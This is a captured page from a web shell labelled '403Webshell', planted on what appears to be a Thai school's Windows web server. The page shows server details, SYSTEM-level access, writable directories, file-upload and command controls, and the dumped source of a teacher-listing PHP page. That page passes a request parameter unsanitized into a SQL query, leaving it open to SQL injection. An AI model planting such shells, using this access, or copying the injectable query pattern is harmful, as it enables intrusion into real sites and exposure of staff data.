403Webshell
Server IP : 172.67.187.206  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myschool/triamudom/check/information/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myschool/triamudom/check/information/display_teacher.php
<?php
@session_start();
$path = "../";
include ($path.'include/config_db.php');
include ($path.'include/class_db.php'); 
include ($path.'include/class_display.php'); 
include ($path.'include/function.php'); 
$CLASS['db']   = new db();
$CLASS['db']->connect(); 
$CLASS['disp']   = new display();
$db   = $CLASS['db']; 
$disp   = $CLASS['disp']; 

//--------------------ส่วนบนใช้สำหรับประกาศตัวแปรและ Config เท่านั้น----------------------------//

$tb_department_id = $_REQUEST['tb_department_id'];

//----------------------------ค่าพื้นฐานระบบเว็บไซต์-----------------------------//
$fetch_public = $db->fetch_array($db->query("select * from tb_public"));

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title><?php print $fetch_public['tb_public_title_admin'];?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	background-color: #FFFFFF;
	color:#666666;
	font-family: Tahoma; 
}

table {
	font-family: Tahoma; 
	font-size: 12px;
	color:#666666;
}
.style1 {
	font-size: 18px;
	font-weight: bold;
}
-->
</style>
</head>

<body>
<table width="100%" border="0" align="center" cellpadding="2" cellspacing="2" bgcolor="#FFFFFF">
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr  style="display:none">
    <td align="center"><form id="form1" name="form1" method="post" action="">
      <strong>
      <select name="tb_department_id" class="f_black" id="tb_department_id" onchange="this.form.action='';this.form.submit();">
        <option value="">= เลือกดูข้อมูลฝ่าย / กลุ่มสาระการเรียนรู้ =</option>
        <?php
									$query_department=$db->query("select * from tb_departments where tb_department_status ='1' order by tb_department_id asc");
									while($fetch_department=$db->fetch_array($query_department)){
									?>
        <option value="<?php echo $fetch_department['tb_department_id'];?>" <?php if($fetch_department['tb_department_id']==$tb_department_id){echo "selected";}?>><?php echo $fetch_department['tb_department_name'];?></option>
        <?php } ?>
      </select>
      </strong>
        </form>    </td>
  </tr>
  <tr>
    <td align="center"><span class="style1"><?php print $disp->display_departmentname($tb_department_id);?></span></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td>
<?php 
//set the number of columns 
$columns = 3; 

if($tb_department_id){
	$sql_search .= " where tb_department_id='".$tb_department_id."'  and  tb_teacher_status='1'  ";
}else{
	$sql_search .= " where tb_teacher_status='1' ";
}
$sql_dis_pro="select * from tb_teachers $sql_search  order by tb_teacher_id asc limit 200";
$query_dis_pro = $db->query($sql_dis_pro);

//we add this line because we need to know the number of rows 
$num_dis_pro = $db->num_rows($query_dis_pro);
?>
<TABLE  width="100%" border="0" align="center"  cellpadding="1" cellspacing="1">
<?
//changed this to a for loop so we can use the number of rows 
for($i = 0; $i < $num_dis_pro; $i++) { 
    $fetch_teacher = $db->fetch_array($query_dis_pro); 
    if($i % $columns == 0) { 
        //if there is no remainder, we want to start a new row 
        echo "<TR>\n"; 
} 
$displayimg = $disp->display_teachertimepic($fetch_teacher['tb_teacher_number']);

?>
<td width="33%" align="left" valign="top"><table width="100%" border="0" cellspacing="1" cellpadding="3">
  <tr>
    <td width="110" valign="top" nowrap="nowrap"><?php if($displayimg){?><img src="../id-plan/file_uploads/<?php print $disp->display_teachertimepic($fetch_teacher['tb_teacher_number'])?>" width="100" border="1" /><?php }else{?><img src="../id-plan/file_uploads/photo.png" width="100" ><?php }?></td>
    <td valign="top" nowrap="nowrap"><strong>เลขประจำตำแหน่ง</strong> :  <?php print $fetch_teacher['tb_teacher_number'];?>
      <p><strong>ชื่อ - สกุล</strong> : <?php print $fetch_teacher['tb_teacher_name'];?></p>
      <p><strong>ตำแหน่งทางวิชาการ</strong> : <?php print $disp->display_academicname($fetch_teacher['tb_academic_id']);?></p>
      <p>&nbsp; </p></td>
  </tr>
</table></td>
<?    if(($i % $columns) == ($columns - 1) || ($i + 1) == $num_dis_pro) { 
        //if there is a remainder of 1, end the row 
        //or if there is nothing left in our result set, end the row 
        echo "</TR>\n"; 
    } 
} 
?>
</TABLE></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit